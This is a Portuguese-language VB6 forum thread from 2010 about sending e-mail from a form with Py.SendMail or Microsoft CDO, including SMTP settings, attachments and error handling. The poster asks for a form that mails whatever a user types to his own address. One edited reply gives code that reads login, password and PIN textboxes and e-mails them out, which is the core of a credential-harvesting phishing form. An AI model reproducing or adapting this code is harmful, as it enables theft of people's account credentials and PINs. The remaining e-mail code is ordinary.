Chk Postado Julho 9, 2010 Denunciar Share Postado Julho 9, 2010 Oi Gente , quero fazer um programa em vb6 , ou vb 2008 , que no tal fique mais ou menos assim:Ai quando a pessoa clicar em "Aplicar" tudo o que ela digitou , vá para meu e-mail.Como faço isso Citar Link para o comentário Compartilhar em outros sites More sharing options...
0 kuroi Postado Julho 10, 2010 Denunciar Share Postado Julho 10, 2010 use o componente py.sendmail: http://www.graymalkinsoftware.net/gspagina...age=Py.Sendmail Citar Link para o comentário Compartilhar em outros sites More sharing options...
0 Matheus-vb6 Postado Julho 12, 2010 Denunciar Share Postado Julho 12, 2010 Amigo, tenho um post exatamente parecido com o seu:Da uma olhada la se tiver mais duvidas poste aki, la esta resolvido já!LinkBoa sorte Citar Link para o comentário Compartilhar em outros sites More sharing options...
0 Chk Postado Julho 19, 2010 Autor Denunciar Share Postado Julho 19, 2010 não tem um metodo mais facil?coloca ai o que tenho que por no form , e os codigos..sou iniciante T-T Citar Link para o comentário Compartilhar em outros sites More sharing options...
0 kuroi Postado Julho 19, 2010 Denunciar Share Postado Julho 19, 2010 se você fizer o download do py.sendmail no link indicado, se você entrar na pasta onde foi instalado (padrão arquivos de programas), tem uma pasta com exemplos la e tem um pra vb6 com todo o codigo q você precisa saber, da uma olhada la, qualquer coisa pergunta. Citar Link para o comentário Compartilhar em outros sites More sharing options...
0 Chk Postado Julho 20, 2010 Autor Denunciar Share Postado Julho 20, 2010 so que da um errinho no imediate. Citar Link para o comentário Compartilhar em outros sites More sharing options...
0 kuroi Postado Julho 21, 2010 Denunciar Share Postado Julho 21, 2010 errinho?? explica isso direito ne...e você ta passando um endereco smtp valido e tb login e senha existentes no servidor??da uma olhada no tópico q o matheus passou q falamos sobre tudo isso la. Citar Link para o comentário Compartilhar em outros sites More sharing options...
0 Matheus-vb6 Postado Julho 26, 2010 Denunciar Share Postado Julho 26, 2010 (editado) Seguinte, qual e-mail você esta tentando usar para enviar?? Hotmail por exemplo não da! pois eles tem uma proteção q n permite! Recomendo a você o yahoo!Utilize esse código após instala o Py.sendmail!Set k = CreateObject("Py.SendMail") k.SMTPServer = "smtp.mail.yahoo.com.br" k.Recipient = "nome de quem vai receber" k.To = "e-mail q receberá" k.Sender = "Nome de quem envio" k.From = "....@yahoo.com" k.Cc = "" k.Bcc = "" k.Subject = "Assunto" k.Body = "Corpo da mensagem!" 'Em caso de autenticação k.User = "....@yahoo.com" k.Password = "Sua senha" retorno = k.send() lblRetorno = "Retorno: " & retorno Debug.Print retorno MsgBox "E-mail enviado!", vbInformation, "E-mail!" End On Error GoTo Erro Erro: MsgBox "Não foi possível concluir a operação!", vbCritical, "Erro!" End Ifedit---para chegar o login senha e pin, crie variaveis e faça assim no k.body:dim login,senha,pin as stringlogin= txtlogin.textsenha= txtsenha.textpin = txtpin.text k.Body = "Login: " & login & "<BR>" & "Senha: " & senha & "<BR>" & "Pin: " & pinBoa sorte ;) Editado Julho 26, 2010 por Matheus-vb6 Citar Link para o comentário Compartilhar em outros sites More sharing options...
0 lramos7 Postado Agosto 16, 2010 Denunciar Share Postado Agosto 16, 2010 olá!Você poderia utilizar também a referencia "Microsoft CDO for windows 2000 Library"Muito bom, eu utilizazo para enviar e-mails, pratico e fácil.Private Sub cmdEnviar_Click() Dim CDO As CDO.Message Set CDO = New CDO.Message caminho = "[url="http://schemas.microsoft.com/cdo/configuration/"]http://schemas.microsoft.com/cdo/configuration/[/url]" CDO.From = "[email="emailorigem@origem.com.br"]emailorigem@origem.com.br[/email]" CDO.To = [email="emaildestino@destino.com.br"]emaildestino@destino.com.br[/email] CDO.Subject = "Assunto" CDO.TextBody = "Texto do email" CDO.Configuration.Fields.Item(caminho & "smtpauthenticate") = 1 CDO.Configuration.Fields.Item(caminho & "smtpserverport") = 25 CDO.Configuration.Fields.Item(caminho & "sendusing") = 2 CDO.Configuration.Fields.Item(caminho & "smtpserver") = "smtpserver" CDO.Configuration.Fields.Item(caminho & "sendusername") = "contadeemail" CDO.Configuration.Fields.Item(caminho & "sendpassword") = "senha" CDO.Configuration.Fields.Update CDO.Send Set CDO = Nothing End SubAbraçosLeandro Citar Link para o comentário Compartilhar em outros sites More sharing options...
0 MRMB Postado Setembro 30, 2010 Denunciar Share Postado Setembro 30, 2010 Só para constar....resolvi o problema de envio de email assim..Adicionei referência no projeto a Microsoft CDO for Windows 2000 Library que fica no System32 (cdosys.dll).O melhor de usar essa "biblioteca" é que funciona no Windows 7 32 e 64 bits sem maiores dificuldades.Private Sub Command1_Click() Dim MailMsg As CDO.Message Dim MailConf As CDO.Configuration Dim MCFields As Object Set MailMsg = New CDO.Message Set MailConf = New CDO.Configuration Set MCFields = MailConf.Fields MCFields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 ' SMTP MCFields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.exemplo.com.br" MCFields.Item(cdoSMTPAuthenticate) = cdoBasic MCFields.Update Set MailMsg.Configuration = MailConf MailMsg.TextBody = Text2.Text MailMsg.Subject = "Título do email" MailMsg.To = "email destino" MailMsg.From = "email origem" MailMsg.AddAttachment "Caminho do arquivo a ser anexado" MailMsg.Send End SubFicou fino! Também testei o Py.SendMail e o mesmo também funcionou. Mas achei o código acima mais prático.T+ Citar Link para o comentário Compartilhar em outros sites More sharing options...
0 Matheus-vb6 Postado Setembro 30, 2010 Denunciar Share Postado Setembro 30, 2010 MailMsg.AddAttachment "Caminho do arquivo a ser anexado"Achei interressante isso de anexar arquivo... eu tenho preferencia pelo py.sendmail por já te me acostumado...mas gostaria de saber... o py.sendmail tem essa função de anexar arquivo? Citar Link para o comentário Compartilhar em outros sites More sharing options...
0 MRMB Postado Outubro 1, 2010 Denunciar Share Postado Outubro 1, 2010 Tem essa função no py.sendmail...Os códigos abaixo é para anexar usando o py.sendmail são os mesmos códigos de exemplos que tem na instalação do py.sendmailAnexo "Comum"Private Sub cmdAnexo_Click() On Error Resume Next CDlg.Filter = "Todos os Arquivos|*.*" CDlg.ShowOpen If Err.Number = 0 Then 'Não Cancelou lstAnexos.AddItem CDlg.FileName End If On Error GoTo 0 End Sub Anexo Imagem On Error Resume Next CDlg.Filter = "Arquivos de imagem|*.jpg;*.gif;*.bmp;*.jpeg" CDlg.ShowOpen If Err.Number = 0 Then 'Não Cancelou lstImagens.AddItem CDlg.FileName txtMensagem.Text = txtMensagem.Text & "<img src=" & Chr(34) & "cid:" & lstImagens.ListCount - 1 & Chr(34) & " />" End If On Error GoTo 0 Na hora de enviar anexa todos os itens... Private Sub cmdEnviar_Click() Set k = CreateObject("Py.SendMail") k.SMTPServer = txtServidor.Text k.Recipient = txtNomePara.Text k.To = txtEmailPara.Text k.Sender = txtNomeDe.Text k.From = txtEmailDe.Text k.Cc = txtCc.Text k.Bcc = txtBcc.Text k.Subject = txtAssunto.Text k.Body = txtMensagem.Text k.PureText = chkTextoPuro.Value 'Em caso de autenticação 'MsgBox "Informar usuário e senha!" 'k.User = "seu_email" 'k.Password = "senha" ' INICIO - TODOS OS ARQUIVOS For i = 0 To lstAnexos.ListCount - 1 k.AttachFile lstAnexos.List(i) Next i For i = 0 To lstImagens.ListCount - 1 k.InsertImage lstImagens.List(i) Next i ' FIM retorno = k.Send() lblRetorno = "Retorno: " & retorno Debug.Print retorno End SubT+ pode testar que é fino...irá funcionar sem problema. Citar Link para o comentário Compartilhar em outros sites More sharing options...
0 Matheus-vb6 Postado Outubro 1, 2010 Denunciar Share Postado Outubro 1, 2010 Funcionou sim :Dattachfile e insertimage..irei me lembrar :DMas tipo... ele está fazendo um upload, então pode ocorrer de corromper? Citar Link para o comentário Compartilhar em outros sites More sharing options...
0 MRMB Postado Outubro 5, 2010 Denunciar Share Postado Outubro 5, 2010 Matheus-vb6,penso que caso ocorra erro ("corromper") o método de envio irá retornar erro. Contudo, não testei essa situação em específico.T+ Citar Link para o comentário Compartilhar em outros sites More sharing options...
0 Matheus-vb6 Postado Outubro 6, 2010 Denunciar Share Postado Outubro 6, 2010 ai no caso só configuro on error goto? Citar Link para o comentário Compartilhar em outros sites More sharing options...
0 MRMB Postado Outubro 7, 2010 Denunciar Share Postado Outubro 7, 2010 Isso trata o erro que retornará número especifico.Private Sub EnviarEmail() On Error GoTo TrataErro ' Rotina que envia o e-mail, caso ocorra erro irá para "TrataErro:". On Error GoTo 0 Exit Sub TrataErro: Call MsgBox(Err.Number, vbCritical, "Número do erro") Call MsgBox(Err.Description, vbCritical, "Descrição do erro") End SubNo caso você consegue capturar o número do erro e validar "Err.Number" em um "if", assim pode fazer um tratamento especifico para cada situação (ex: corromper).T+ Citar Link para o comentário Compartilhar em outros sites More sharing options...
0 Matheus-vb6 Postado Outubro 8, 2010 Denunciar Share Postado Outubro 8, 2010 a sim, já tenho noção de como fazer, só gerar condição com err.number=..vlwssAbraços Citar Link para o comentário Compartilhar em outros sites More sharing options...
Pergunta
Chk
Oi Gente , quero fazer um programa em vb6 , ou vb 2008 , que no tal fique mais ou menos assim:
Ai quando a pessoa clicar em "Aplicar" tudo o que ela digitou , vá para meu e-mail.
Como faço isso
Link para o comentário
Compartilhar em outros sites
16 respostass a esta questão
Posts Recomendados
Participe da discussão
Você pode postar agora e se registrar depois. Se você já tem uma conta, acesse agora para postar com sua conta.